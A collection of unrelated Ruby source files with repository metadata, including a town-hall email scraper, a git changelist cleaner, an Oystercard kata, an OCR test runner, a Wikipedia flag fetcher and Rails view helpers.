1a8115a26c5f482b59676f071800efa703c53dca
Ruby
onja302/email.JSON
/email.rb
UTF-8
921
2.515625
3
[]
no_license
require 'rubygems' require 'json' require 'nokogiri' require 'open-uri' #require "google_drive" #array = [] #mairie = Hash.new page = Nokogiri::HTML(open("http://annuaire-des-mairies.com/val-d-oise.html")) get_townhall_email = page.css('a[class = "lientxt"]').map{|a| "http://annuaire-des-mairies.com/"+ a["href"].gsub("./","")} array = Array.new mairie = Hash.new get_townhall_email.each {|x| url = Nokogiri::HTML(open(x)) email = url.xpath("/html/body/div/main/section[2]/div/table/tbody/tr[4]/td[2]").map{|e| e.text} town = url.xpath("/html/body/div/main/section[1]/div/div/div/h1").map{|v| v.text.downcase.capitalize} mairie = Hash[town.zip(email)] array << mairie } File.open("email.json","w") do |f| f.write(array.to_json) end # session = GoogleDrive::Session.from_config("config.json") #session.upload_from_file("/email.JSON/email.rb", "email.rb", convert: false)
true
11e83ecb2c052ed49717db282b606f7aa8400977
Ruby
thib123/TPJ
/Notes/Ruby/sample_code/ex0505.rb
UTF-8
2,966
2.96875
3
[ "MIT" ]
permissive
# Sample code from Programing Ruby, page 276 #include "ruby.h" #include "cdjukebox.h" static VALUE cCDPlayer; // Helper function to free a vendor CDJukebox static void cd_free(void *p) { free_jukebox(p); } // Allocate a new CDPlayer object, wrapping // the vendor's CDJukebox structure static VALUE cd_alloc(VALUE klass) { CDJukebox *jukebox; VALUE obj; // Vendor library creates the Jukebox jukebox = new_jukebox(); // then we wrap it inside a Ruby CDPlayer object obj = Data_Wrap_Struct(klass, 0, cd_free, jukebox); return obj; } // Assign the newly created CDPLayer to a // particular unit static VALUE cd_initialize(VALUE self, VALUE unit) { int unit_id; CDJukebox *jb; Data_Get_Struct(self, CDJukebox, jb); unit_id = NUM2INT(unit); assign_jukebox(jb, unit_id); return self; } // Copy across state (used by clone and dup). For jukeboxes, we // actually create a new vendor object and set its unit number from // the old static VALUE cd_init_copy(VALUE copy, VALUE orig) { CDJukebox *orig_jb; CDJukebox *copy_jb; if (copy == orig) return copy; // we can initialize the copy from other CDPlayers or their // subclasses only if (TYPE(orig) != T_DATA || RDATA(orig)->dfree != (RUBY_DATA_FUNC)cd_free) { rb_raise(rb_eTypeError, "wrong argument type"); } // copy all the fields from the original object's CDJukebox // structure to the new object Data_Get_Struct(orig, CDJukebox, orig_jb); Data_Get_Struct(copy, CDJukebox, copy_jb); MEMCPY(copy_jb, orig_jb, CDJukebox, 1); return copy; } // The progress callback yields to the caller the percent complete static void progress(CDJukebox *rec, int percent) { if (rb_block_given_p()) { if (percent > 100) percent = 100; if (percent < 0) percent = 0; rb_yield(INT2FIX(percent)); } } // Seek to a given part of the track, invoking the progress callback // as we go static VALUE cd_seek(VALUE self, VALUE disc, VALUE track) { CDJukebox *jb; Data_Get_Struct(self, CDJukebox, jb); jukebox_seek(jb, NUM2INT(disc), NUM2INT(track), progress); return Qnil; } // Return the average seek time for this unit static VALUE cd_seek_time(VALUE self) { double tm; CDJukebox *jb; Data_Get_Struct(self, CDJukebox, jb); tm = get_avg_seek_time(jb); return rb_float_new(tm); } // Return this player's unit number static VALUE cd_unit(VALUE self) { CDJukebox *jb; Data_Get_Struct(self, CDJukebox, jb); return INT2NUM(jb->unit_id);; } void Init_CDPlayer() { cCDPlayer = rb_define_class("CDPlayer", rb_cObject); rb_define_alloc_func(cCDPlayer, cd_alloc); rb_define_method(cCDPlayer, "initialize", cd_initialize, 1); rb_define_method(cCDPlayer, "initialize_copy", cd_init_copy, 1); rb_define_method(cCDPlayer, "seek", cd_seek, 2); rb_define_method(cCDPlayer, "seek_time", cd_seek_time, 0); rb_define_method(cCDPlayer, "unit", cd_unit, 0); }
true
2ea1b31a8a5c9b9a5c4ee67ace971224799a30bb
Ruby
lroal/Roald
/tortage/lib/change_list_cleaner.rb
UTF-8
449
2.828125
3
[]
no_license
class ChangeListCleaner def initialize(branches) @branches = branches end def clear_changelist @branches.each do |branch_name| puts "=== clearing changelist in #{branch_name} ===" cmd = "git checkout #{branch_name}_current" puts cmd `#{cmd}` cmd = "git tag -afm\"clear_changelist\" #{branch_name}_previous" puts cmd `#{cmd}` 49.times {print '-'} print "\n\n\n" end end end
true
1e4b47a94653fd0dffb7c6d33bbbfe47f4722ee8
Ruby
RussellHaley/CalendariumAnglicum
/spec/readme_spec.rb
UTF-8
1,217
2.765625
3
[]
no_license
require 'spec_helper' # erm... yes, copy-pasted from calendarium-romanum's spec suite class MarkdownDocument def initialize(str) @str = str end def each_ruby_example example = nil line = nil @str.each_line.with_index(1) do |l, i| if example.nil? if example_beginning?(l) example = '' line = i + 1 end elsif example_end?(l) yield example, line example = nil else example += l end end end protected def example_beginning?(line) line =~ /^```ruby/ end def example_end?(line) line =~ /```/ end end %w(README.md).each do |path| RSpec.describe path do before :each do # README examples sometimes print, but we don't want them # to distort test output allow(STDERR).to receive :puts end readme_path = File.expand_path('../../' + path, __FILE__) readme = File.read readme_path doc = MarkdownDocument.new readme doc.each_ruby_example do |code, line| describe "example L#{line}" do it 'executes without failure' do cls = Class.new cls.class_eval(code, readme_path, line) end end end end end
true
c7b8dd9c991a3980ecd28ecaec0fc7305bde8a26
Ruby
sanjuro/twitter_ruby
/spec/runner_spec.rb
UTF-8
736
2.59375
3
[]
no_license
require 'spec_helper' require 'runner' describe Runner do describe "public instance methods" do describe "#initialize" do it 'defaults to Printer if no interace is given' do expect(subject.printer).to be_a(Printer) end end describe "#run" do it 'checks the User file is not to be empty' do users = StringIO.new(empty_file) tweets = StringIO.new(tweet_lines) expect {subject.run(users, tweets)}.to raise_error(TypeError) end it 'checks the Tweet file is not to be empty' do users = StringIO.new(user_lines) tweets = StringIO.new(empty_file) expect {subject.run(users, tweets)}.to raise_error(TypeError) end end end end
true
7f7d982583efb198eb17fc094b5a747e15cd07fb
Ruby
lilaboc/hackerrank
/ruby/ruby-tutorials-object-method-parameters.rb
UTF-8
166
2.5625
3
[]
no_license
# https://www.hackerrank.com/challenges/ruby-tutorials-object-method-parameters # Enter your code here. Read input from STDIN. Print output to STDOUT a.range?(b, c)
true
daac779d146f14bf106407567b02eb3866bffe8d
Ruby
j-luong/oystercard
/lib/oystercard.rb
UTF-8
945
3.34375
3
[]
no_license
require_relative 'journey_log' class Oystercard MAX_BALANCE = 90 MIN_FARE = 1 MIN_AMOUNT = 1 attr_reader :balance attr_reader :journey attr_reader :journeys def initialize @balance = 0 @journeys = JourneyLog.new end def top_up(amount) raise "Maximum balance of £#{MAX_BALANCE} exceeded" if (@balance + amount) > MAX_BALANCE @balance += amount end def touch_in(entry_station) raise "Card needs at least £#{MIN_AMOUNT} to touch in" if @balance < MIN_AMOUNT check_fine @journeys.start_journey(entry_station) end def touch_out(exit_station) @journeys.end_journey(exit_station) deduct_fare store_journey end def in_journey? @journeys.in_journey? end def store_journey @journeys.store_journey end private def check_fine if in_journey? deduct_fare store_journey end end def deduct_fare @balance -= @journeys.fare end end
true
b6e01ab2ca7e2cf598eb3eb46d951702b36595fe
Ruby
honnza/drops
/DTDBuilder.rb
UTF-8
3,492
2.859375
3
[]
no_license
require 'nokogiri' NX = Nokogiri::XML # Class definitions ############################################################ class Tag attr_accessor :name, :tag_rules, :attr_rules, :cdata_always, :cdata_sometimes def initialize name @name = name @tag_rules = {} @attr_rules = {} @cdata_always = true @cdata_sometimes = false end end class TagRule attr_accessor :parent, :child, :min_arity, :max_arity def initialize parent, child @parent = parent @child = child @min_arity = Float::INFINITY @max_arity = 0 end end class AttrRule attr_accessor :tag, :attr, :optional def initialize tag, attr @tag = tag @attr = attr @optional = false end end # Core ######################################################################### class DTDBuilder attr_accessor :tags, :root_tag def initialize @tags = {} @root_tag = Tag.new nil end def add_documents *documents documents = documents[0] if Array === documents[0] documents.each{|d|add_document d} self end def add_document document document = NX.parse document if String === document # document = document.root if NX::Document === document [document, *document.css(?*)].each do |parent| parent_tag = if NX::Document === parent then @root_tag else (@tags[parent.name] ||= Tag.new parent.name) end cdata = parent.children.any? &:text? parent_tag.cdata_sometimes ||= cdata parent_tag.cdata_always &&= cdata children_by_name = parent.element_children.group_by(&:name) parent_tag.tag_rules.each_value do |rule| rule.min_arity = 0 unless children_by_name.has_key? rule.child end children_by_name.each do |name, children| rule = (parent_tag.tag_rules[name] ||= TagRule.new parent.name, name) rule.max_arity = [rule.max_arity, children.count].max rule.min_arity = [rule.min_arity, children.count].min end parent_tag.attr_rules.each_value do |rule| rule.optional = true unless parent.has_attribute? rule.attr end parent.attribute_nodes.each do |attr| parent_tag.attr_rules[attr.name] ||= AttrRule.new parent.name, attr.name end end end end # Front-end #################################################################### def list_results result_set [result_set.root_tag, *result_set.tags.values].each do |tag| puts puts "#{tag.name || "<root>"}" puts " attributes:" unless tag.attr_rules.empty? tag.attr_rules.each_value do |rule| puts " #{rule.attr}#{" optional" if rule.optional}" end puts " children:" unless tag.tag_rules.empty? tag.tag_rules.each_value do |rule| puts " #{rule.child} (#{rule.min_arity}:#{rule.max_arity})" end puts " #{if tag.cdata_always then "cdata required" elsif !tag.cdata_sometimes then "cdata not present" else "cdata allowed" end}" end end results = DTDBuilder.new loop do puts "what document to parse? Empty line to stop:" filemask = gets.chomp break if filemask.empty? filenames = Dir[filemask] puts "No such file was found" if filenames.empty? filenames.each do |filename| begin puts "parsing #{filename}" results.add_document IO.read filename rescue =>e puts e.inspect puts e.backtrace end end puts "partial results:" list_results results end
true
fa593ba885b435b74424ad562d4527c3ba21f26b
Ruby
Keishiro308/sample-kakeibo
/app/models/item.rb
UTF-8
1,196
2.84375
3
[]
no_license
class Item < ApplicationRecord belongs_to :room belongs_to :user with_options presence: true do validates :value validates :category validates :date validates :room_id end validates :value, numericality: { only_integer: true } def start_time self.date end def self.caliculate_month_costs(term_year, params) by_month = where(date: term_year, room_id: params[:id]).group_by{ |item| item.date.month } year_total_cost = { "1月":0, "2月":0, "3月":0, "4月":0, "5月":0, "6月":0, "7月":0, "8月":0, "9月":0, "10月":0, "11月":0, "12月":0 } month_costs = by_month.map{ |k, month_items| [ "#{k}月", month_items.map(&:value).inject{ |sum, value| sum + value } ] }.to_h month_costs.each{|k,cost| year_total_cost[:"#{k}"] = cost} year_total_cost end def self.caliculate_percentage(room, term) items = room.items.where(date: term) total_cost = items.sum(:value) hash = items.group(:category).sum(:value).map{ |k, v| [k, (v.to_f / total_cost * 100).round] }.to_h hash end end
true
1ea191332674006a39f0dc35c7d6af11cdf6c68e
Ruby
wasabibr/IFRN_RUBY
/questao_02.rb
UTF-8
274
4.0625
4
[]
no_license
=begin Crie um script em Ruby que lê um valor real em dólar, e converte o valor para reais. Considere que a cotação é US$ 1 = R$ 1,82. =end print "Digite o valor em dólar, para converter: " num_dolar = Float(gets.chomp) print "Valor em reais: " puts num_dolar * 1.82
true
12374be3f6d00e431f5f5b823183100470684a13
Ruby
harroyo0610/ejerciciosFase01
/nested_arrays2.rb
UTF-8
621
3.453125
3
[]
no_license
def table tabla = [["Nombre", "Edad", "Genero", "Grupo", "Calificaciones"], ["Rodrigo Garcia", 13, "Masculino", "Primero", [9,9,7,6,8]], ["Fernanda Gonzalez", 12, "Femenino", "Tercero", [6,9,8,6,8]], ["Luis Perez", 13, "Masculino", "Primero", [8,7,7,9,8]], ["Ana Espinosa", 14, "Femenino", "Segundo", [9,9,6,8,8]], ["Pablo Moran", 11, "Masculino", "Segundo", [7,8,9,9,8]]] tabla[1..5].each do |n| new_array = [] new_array2 = [] tabla[0].each do |r| new_array << r end n.each do |m| new_array2 << m end p Hash[new_array.zip(new_array2)] end end table
true
4294b710c4d61c0ffa6a465e7d929156830cec20
Ruby
tadasshi/green_monkey
/lib/green_monkey/ext/view_helper.rb
UTF-8
3,902
2.53125
3
[]
no_license
# coding: utf-8 require "chronic_duration" # Provides view helpers # time_tag with "datetime" support # time_tag_interval for time intervals # time_to_iso8601 time-period converter # mida_scope shortcut to build "itemscope" and "itemtype" attributes # breadcrumb_link_to makes a link with itemtype="http://data-vocabulary.org/Breadcrumb" module GreenMonkey module ViewHelper # it shortcut for this # %time{:datetime => post.published_at.iso8601(10) }= post.published_at.strftime("%d %h %Y") # = time_tag post.created_at # = time_tag post.created_at, format: "%d %h %Y %R%p" # = time_tag post.created_at, itemprop: "datePublished" def time_tag(time, *args) options = args.extract_options! format = options.delete(:format) || :long datetime = time_to_iso8601(time) if time.acts_like?(:time) title = nil content = args.first || I18n.l(time, format: format) elsif time.kind_of?(Numeric) title = ChronicDuration.output(time, format: format) content = args.first || distance_of_time_in_words(time) else content = time.to_s end content_tag(:time, content, options.reverse_merge(datetime: datetime, title: title)) end # as second argumnts can get as Time/DateTime object as duration in seconds def time_tag_interval(from, to, *args) options = args.extract_options! format = options.delete(:format) || :long datetime = [from, to].map(&method(:time_to_iso8601)).join("/") content = args.first || [from, to].map do |time| if time.acts_like?(:time) I18n.l(from, format: format) else ChronicDuration.output(time, format: format) end end if to.acts_like?(:time) content = content.join(" - ") else content = content.join(" in ") end content_tag(:time, content, options.reverse_merge(datetime: datetime)) end def time_to_iso8601(time) # http://www.ostyn.com/standards/scorm/samples/ISOTimeForSCORM.htm # P[yY][mM][dD][T[hH][mM][s[.s]S]] minute = 60 hour = minute * 60 day = hour * 24 year = day * 365.25 month = year / 12 if time.acts_like?(:time) time.iso8601 elsif time.kind_of?(Numeric) time = time.to_f return "PT0H0M0S" if time == 0 parts = ["P"] parts << "#{(time / year).floor}Y" if time >= year parts << "#{(time % year / month).floor}M" if time % year >= month parts << "#{(time % month / day).floor}D" if time % month >= day time = time % month parts << "T" if time % day > 0 parts << "#{(time % day / hour).floor}H" if time % day >= hour parts << "#{(time % hour / minute).floor}M" if time % hour >= minute parts << "#{(time % 1 == 0 ? time.to_i : time) % minute}S" if time % minute > 0 return parts.join end end def mida_scope(object) options = {itemscope: true} if object.respond_to?(:html_schema_type) if object.html_schema_type.kind_of?(Mida::Vocabulary) options.merge!(itemtype: object.html_schema_type.itemtype.source) else raise "No vocabulary found (#{object.html_schema_type})" unless Mida::Vocabulary.find(object.html_schema_type) options.merge!(itemtype: object.html_schema_type) end elsif object.is_a?(Symbol) options.merge!(itemtype: Mida(object).itemtype.source) elsif object.is_a?(String) options.merge!(itemtype: object) end tag_options(options) end def breadcrumb_link_to(title, path, options = {}) content_tag(:span, itemscope: true, itemtype: 'http://data-vocabulary.org/Breadcrumb') do link_to(content_tag(:span, title, itemprop: 'title'), path, options.merge(itemprop: 'url')) + '' end end end end
true
67d074c1dabcaa2dfe40c0c74ccb334f1124fb6b
Ruby
sdimkov/OCR
/test/test.rb
UTF-8
3,283
3.21875
3
[]
no_license
#!/usr/bin/env ruby require 'rubygems' require 'ffi' require 'yaml' LANG_PATH = ENV['OCR_TEST_LANG'] LIB_PATH = ENV['OCR_TEST_LIB'] # Add text effects String class class String def apply_code(code) "\e[#{code}m#{self}\e[0m" end def red() apply_code(31) end def green() apply_code(32) end def yellow() apply_code(33) end end # Load shared OCR library module LibOCR extend FFI::Library ffi_lib LIB_PATH attach_function :ocr_create, [], :pointer attach_function :ocr_delete, [:pointer], :void attach_function :ocr_get_window, [:pointer], :int attach_function :ocr_set_window, [:pointer, :int], :void attach_function :ocr_add_language, [:pointer, :string], :void attach_function :ocr_add_color, [:pointer, :int, :int, :int], :void attach_function :ocr_remove_color, [:pointer, :int, :int, :int], :void attach_function :ocr_remove_all_colors, [:pointer], :void attach_function :ocr_read_text, [:pointer, :int, :int, :int, :int], :string attach_function :ocr_read_image, [:pointer, :string], :string attach_function :img_screenshot, [:string,:int], :void attach_function :img_screenshot_area, [:string,:int, :int, :int, :int, :int], :void attach_function :img_draw_rect, [:string, :int, :int, :int, :int, :int, :int, :int], :void end # Run a single test (PNG image) against the OCR engine def run_test entry, path img = "#{path}#{entry[0]}.png" result = LibOCR.ocr_read_image $ocr, img if result == entry[1] $pass += 1 else $fail += 1 puts "FAIL: #{img} expected=\"#{entry[1]}\" actual=\"#{result}\"".red end end # Recursively process all folder and sub-folder items def process_folder folder, path for subfolder, entries in folder do for entry in entries do if entry.is_a? Hash process_folder entry, path + subfolder + '/' elsif entry.is_a? Array run_test entry, path + subfolder + '/' else raise "Invalid data in test's yaml file" end end end end # Create OCR object and load languages $ocr = LibOCR.ocr_create LibOCR.ocr_add_language $ocr, "#{LANG_PATH}/lce-receipt/" LibOCR.ocr_add_language $ocr, "#{LANG_PATH}/lce-prompt/" LibOCR.ocr_add_language $ocr, "#{LANG_PATH}/lce-msg/" LibOCR.ocr_add_language $ocr, "#{LANG_PATH}/lce-menu/" LibOCR.ocr_add_language $ocr, "#{LANG_PATH}/lce-led/" # Run tests on all provided locations ARGV.each do |test_folder| if File.exist? "#{test_folder}/test.yaml" $pass, $fail = 0,0 test = YAML.load File.open "#{test_folder}/test.yaml" LibOCR.ocr_remove_all_colors $ocr test['COLORS'].each { |r, g, b| LibOCR.ocr_add_color $ocr, r, g, b } process_folder test['IMAGES'], "#{test_folder}/img/" pass_rate = ($pass * 100.00) / ($pass + $fail) result = "#{test['NAME']}:".ljust(27) + " #{"%.2f" % pass_rate}% passed.".ljust(16) puts case pass_rate when 100 then result.green when 70..100 then result.yellow else result.red end end end
true
4e273e123fc3e0752a2b3d8dbe3b9edd0710c019
Ruby
ekylibre/active_list
/lib/active_list/helpers.rb
UTF-8
778
2.53125
3
[ "MIT" ]
permissive
module ActiveList module Helpers def recordify!(value, record_name) if value.is_a?(Symbol) record_name + '.' + value.to_s elsif value.is_a?(CodeString) '(' + value.gsub(/RECORD/, record_name) + ')' else raise ArgumentError, 'CodeString or Symbol must be given to be recordified)' end end def recordify(value, record_name) if value.is_a?(Symbol) record_name + '.' + value.to_s elsif value.is_a?(CodeString) '(' + value.gsub(/RECORD/, record_name) + ')' else value.inspect end end def urlify(value, record_name) if value.is_a?(CodeString) '(' + value.gsub(/RECORD/, record_name) + ')' else value.inspect end end end end
true
2b250481fd1f3bb968ebace94e0ca344aa9e34db
Ruby
kanpou0108/launchschool
/Exercises/100_ruby_basics(Programming_Back-end_Prep)/06_UserInput/user_input_8_ans.rb
UTF-8
1,212
4.53125
5
[]
no_license
def valid_number?(number_string) number_string.to_i.to_s == number_string end numerator = nil loop do puts '>> Please enter the numerator:' numerator = gets.chomp break if valid_number?(numerator) puts '>> Invalid input. Only integers are allowed.' end denominator = nil loop do puts '>> Please enter the denominator:' denominator = gets.chomp if denominator == '0' puts '>> Invalid input. A denominator of 0 is not allowed.' else break if valid_number?(denominator) puts '>> Invalid input. Only integers are allowed.' end end result = numerator.to_i / denominator.to_i puts "#{numerator} / #{denominator} is #{result}" # Discussion # In this exercise, we solicit two pieces of independent information, so we need separate loops for each number. The first should look reasonably familiar by now, but the second is a bit more complex due to the additional requirement that the denominator not be 0. There are a number of different ways to do this; we just chose a way that we feel is reasonably clear. # # In our last two lines, we convert the two inputs to integers, divide them, and then print the result. Note that we are doing integer division, so 9 / 4 is 2, not 2.25.
true
c702ef5b180e58b15e3d97cc82e74025dcce40f5
Ruby
lambda/buildscript
/build_utils.rb
UTF-8
2,869
2.578125
3
[]
no_license
# @BEGIN_LICENSE # # Halyard - Multimedia authoring and playback system # Copyright 1993-2009 Trustees of Dartmouth College # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as # published by the Free Software Foundation; either version 2.1 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, # USA. # # @END_LICENSE require 'fileutils' require 'find' require 'buildscript/child_process' # Assorted functions which are helpful for a build. module BuildUtils # Because this module is used by Build, it shouldn't contain any functions # which depend on build. # This module provides a full set of +cp+, +rm+ and other filesystem # functions. include FileUtils # Give the user 5 seconds to abort the build before performing the # described action. # # countdown "Deleting /home" def countdown description STDERR.puts "#{description} in 5 seconds, Control-C to abort." (1..5).each do |i| STDERR.print "\a" unless i > 3 # Terminal bell. STDERR.print "[#{i}] " sleep 1 end STDERR.puts end # Convert _path_ to an absolute path. Equivalent to Pathname.realpath, # but with support for some of the funkier Cygwin paths. def absolute_path path # Look for drive letters and '//SERVER/' paths. patterns = [%r{^[A-Za-z]:(/|\\)}, %r{^(//|\\\\)}] patterns.each {|patttern| return path if path =~ patttern } absolute = Pathname.new(path).realpath absolute.to_s.sub(%r{^/cygdrive/(\w)/}, '\\1:/') end # Copy _src_ to _dst_, recursively. Uses an external copy program # for improved performance. def cp_r src, dst Report.run_capturing_output('cp', '-r', src, dst) end # Copy _src_ into _dst_ recursively. If _filter_ is specified, only # copy files it matches. # cp_filtered 'Media', 'release_dir', /\.mp3$/ def cp_filtered src, dst, filter=nil mkdir_p dst if filter dst_absolute = absolute_path dst cd File.dirname(src) do Find.find(File.basename(src)) do |file| next if File.directory? file next unless file =~ filter file_dst = "#{dst_absolute}/#{File.dirname(file)}" mkdir_p file_dst cp_r file, file_dst end end else cp_r src, dst end end module_function :countdown, :absolute_path, :cp_filtered end
true
9f63885e54b58fd1c18f5b077f1a54c6ca50cbe4
Ruby
chitoto/Ruby-blog
/test.rb
UTF-8
179
3.078125
3
[]
no_license
while true puts "タイトルを入力" blog_title = gets puts "本文を入力" blog_content = gets puts "Title : #{blog_title}" puts "Content: #{blog_content}" end
true
a0b1ab1eb575be1b64bae0b78db94638b0820495
Ruby
Jun-lo/tokinagara
/ex.0621.rb
UTF-8
937
3.5
4
[]
no_license
#-*- coding: utf-8 -*- #クラス数・各クラスの人数・全員の点数を読み込んで、点数の合計点と平均点を求めるプログラムを作成せよ。 point = [] a = [] print "クラス数:" input = gets classnum = input.to_i ninzu = 0 for i in 0..classnum - 1 print sprintf("\n%d組の人数:", i + 1) input = gets num = input.to_i a.push(num) point[i] = Array.new(a[i],0) ninzu += num for j in 0..a[i] - 1 print sprintf("%d組%d番の点数:", i + 1, j + 1) input = gets point[i][j] = input.to_i end end puts " 組 | 合計 平均" puts"-------+------------------" total = 0 sum = [] for i in 0..point[i].size - 1 sum.push(point[i].inject(:+)) total += sum[i] print sprintf "%2d組 |%7d%7.1f\n", i + 1, sum[i], sum[i].to_f / point[i].size end puts "-------+-----------------" print sprintf" 計 |%7d%7.1f\n", total,total.to_f / ninzu
true
b26cd80d6764f1d4c82dcbe60f932b5567ca662d
Ruby
rooreynolds/BlinkyTape_Ruby
/test_BlinkyTape.rb
UTF-8
276
2.671875
3
[]
no_license
require './BlinkyTape.rb' bt = BlinkyTape.new 60.times do |i| bt.sendPixel(i,i,i) end bt.show # sleep 2 # 20.times do |i| # bt.sendPixel(255,0,0) # bt.sendPixel(0,255,0) # bt.sendPixel(0,0,255) # end # bt.show # sleep 2 # bt.displayColor(255,255,255) bt.close
true
f00f330f844b1c634c8b85133f6546854a299fc9
Ruby
mame/world-flag-search
/scripts/fetcher.rb
UTF-8
2,716
2.671875
3
[]
no_license
require "open-uri" require "json" require "cgi" require "digest/md5" Dir.mkdir("cache") unless File.directory?("cache") Dir.mkdir("svg") unless File.directory?("svg") class Fetcher def fetch_json(url) cache = File.join("cache", Digest::MD5.hexdigest(url)) if File.readable?(cache) json = File.read(cache).lines.drop(1).join else json = URI.open(url) {|f| f.read } sleep 0.1 File.write(cache, url + "\n" + json) end JSON.parse(json) end end class WikipediaFetcher < Fetcher BASE_URL = "http://en.wikipedia.org/w/api.php?action=query&redirects=&format=json" CONTENT_API = "&prop=revisions&titles=<>&rvprop=content" IMAGE_API = "&prop=imageinfo&titles=File:<>&iiprop=url" LANGLINKS_API = "&prop=langlinks&titles=<>&" def fetch(api, entry) entry = CGI.escape(entry) fetch_json(BASE_URL + api.sub("<>") { entry }) end def find_page(json) json = json["query"]["pages"] json.find {|k, v| k.to_i > 0 }.last end def content(title) json = fetch(CONTENT_API, title) find_page(json)["revisions"].first["*"] end def country_flag(a3) # adhoc hack return "Flag of Samoa.svg" if a3 == "WSM" data = "Template:Country_data_" + a3 src = content(data) raise data unless /^\| alias = (?<entry>.*)/ =~ src raise data unless /^\| flag alias-local = (?<flag>.*)/ =~ src || /^\| flag alias = (?<flag>.*)/ =~ src flag = flag.gsub(/<!-- .*? -->/, "") flag = flag.gsub(/<noinclude>/, "") flag.strip end def save_flag_svg(a2, a3) flag = country_flag(a3) # adhoc hack case flag when "Flag of Federated States of Micronesia.svg" flag = "Flag of the Federated States of Micronesia.svg" when "Flag of the Seychelles.svg" flag = "Flag of Seychelles.svg" end ext = File.extname(flag) p ext if ext != ".svg" svg = File.join("svg", a2.downcase + ext) unless File.readable?(svg) url = image_url(flag.gsub(" ", "_")) dat = URI.open(url, "rb") {|f| f.read } File.binwrite(svg, dat) end end def image_url(file) json = fetch(IMAGE_API, file) p(json["query"]["pages"].first.last["imageinfo"]).first["url"] end def langlinks(file) continue = { "continue" => "" } langlinks = [] while continue continue = continue.map do |k, v| CGI.escape(k) + "=" + CGI.escape(v) end.join("&") json = fetch(LANGLINKS_API + continue, file) langlinks.concat find_page(json)["langlinks"] continue = json["continue"] end hash = {} langlinks.each do |langlink| lang = langlink["lang"] entry = langlink["*"] hash[lang] = entry end hash end end
true
185ce936f43a936dcd4836ab5856413a4f2a8f80
Ruby
ess/brine
/lib/brine/commands/pull.rb
UTF-8
445
2.703125
3
[]
no_license
desc 'Pull features from Github' long_desc <<PULLDESC Pull features from Github If given an issue number, that issue will be written to a feature. If given a feature file, that feature will be updated from Github. If given no arguments, all issues are pulled as features. PULLDESC arg_name 'issue or feature', :optional command :pull do |c| c.action do |global_options, options, args| puts "woohoo I pulled a fucking feature" end end
true
eda49a2d386f427aa6ab70fc9cee19995fd00385
Ruby
dwiesenberg/project_cli_blackjack
/lib/blackjack.rb
UTF-8
305
2.609375
3
[]
no_license
# Blackjack # program collector require './game' require './board' require './participant' require './dealer' require './player' require './deck' # Includes the Blackjack # module into the global # namespace include Blackjack # Play! puts "\nReady to play ... please wait" sleep(1) Game.new.play
true
368423750810a5f2178532401185f851961d7a08
Ruby
madking55/Turing_Back_End
/2module/intro_to_apis/film.rb
UTF-8
259
2.671875
3
[]
no_license
class Film attr_reader :title, :director, :producer, :rotten_tomatoes def initialize(film_data) @title = film_data[:title] @director = film_data[:director] @producer = film_data[:producer] @rotten_tomatoes = film_data[:rt_score] end end
true
ab133798213c6e8a6ff21502a521597208c2fe69
Ruby
adub65/js-rails-as-api-pokemon-teams-project-pca-001
/pokemon-teams-backend/app/models/pokemon.rb
UTF-8
248
2.65625
3
[ "LicenseRef-scancode-public-domain", "LicenseRef-scancode-unknown-license-reference" ]
permissive
class Pokemon < ApplicationRecord belongs_to :trainer validate :no_more_than_six_on_trainer private def no_more_than_six_on_trainer if trainer.pokemons.length >= 6 self.errors.add(:length, "Whoops!") false end end end
true
9042adf3bf9f8dc2a150c0f57a18b3080aab7e6a
Ruby
shelbipinkney/method-scope-lab-v-000
/lib/catch_phrase.rb
UTF-8
71
2.609375
3
[ "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-public-domain" ]
permissive
def catch_phrase(phrase) puts phrase end #catch_phrase #puts phrase
true
66ce5b7a1be46436a6289815c158c315de2d108d
Ruby
ErikaJZhou/ICanHazBacon
/bacon.rb
UTF-8
104
3.453125
3
[ "MIT" ]
permissive
puts 'Haz bacon?' STDOUT.flush item = gets.chomp if item == 'bacon' puts 'Yup' else puts 'Nope' end
true
dad7d9e442bbdf520f64b58b7f370e8125414c70
Ruby
brady-robinson/Object-Oriented-Programming
/lesson_4/practice_easy_2/3.rb
UTF-8
437
3.546875
4
[]
no_license
module Taste def flavor(flavor) puts "#{flavor}" end end class Orange include Taste end class HotSauce include Taste end print Orange.ancestors print HotSauce.ancestors # The list of ancestor clases is also called a lookup chain, # because ruby will look for a method starting in the first class # in the chain (in this case HotSauce) and eventually lookup # BasicObject if the method is found nowhere in the lookup chain
true
1ce6feb0ae9459d338b1f3628663c104dddd6f60
Ruby
lexxeice/Task
/TaskProfitero.rb
UTF-8
1,499
2.875
3
[]
no_license
require 'curb' require 'nokogiri' require 'csv' # try to connect progressbar - optional start_time = Time.now url = ARGV[0] + "?p=#{(page_number = 1)}" || abort('Wrong URL') file = if ARGV[1].nil? then 'Petsonic.csv' elsif ARGV[1].end_with?('.csv') then ARGV[1] else ARGV[1] + '.csv' end puts 'Category page processing' count = 0 begin http = Curl.get(url).body_str html = Nokogiri::HTML(http) puts "Get product links for page #{page_number}" product_links = html.xpath("//*[contains(@class, 'product-list-category-img')]/@href") # get product links url = url.sub("?p=#{page_number}","?p=#{page_number += 1}") # change page puts 'Product page processing' product_links.each do |link| http = Curl.get(link).body_str html = Nokogiri::HTML(http) puts "Collection of product information, number: #{count+=1}" name = html.xpath("//h1[contains(@class, 'product_main_name')]").text.strip image = html.xpath('//img[@id="bigpic"]/@src') parameter_list = [] html.xpath('//div[@class="attribute_list"]/ul/li/label/span').each do |parameter| # get the list of parameters, weight and price parameter_list.push(parameter.text) end puts "Write product to file, number: #{count}" while parameter_list.size > 0 CSV.open(file, 'a') do |csv| # write to file csv << ["#{name} - #{parameter_list.shift}", parameter_list.shift, image] end end end end while http.size > 0 puts "Lead time #{ (Time.now - start_time).round(2) } sec"
true
1a260ae77486e7a5b6df4d51a17aae9a39cb036c
Ruby
myokoym/runch
/lib/runch/command.rb
UTF-8
272
2.5625
3
[ "MIT" ]
permissive
require "runch/language" module Runch class Command class << self def run(*arguments) new.run(arguments) end end def initialize end def run(arguments) Language.create(arguments[0], arguments[1..-1]).run end end end
true
e6439e9680952560e33960767693441fbbfb33a1
Ruby
ipastushenko/TextFormatting
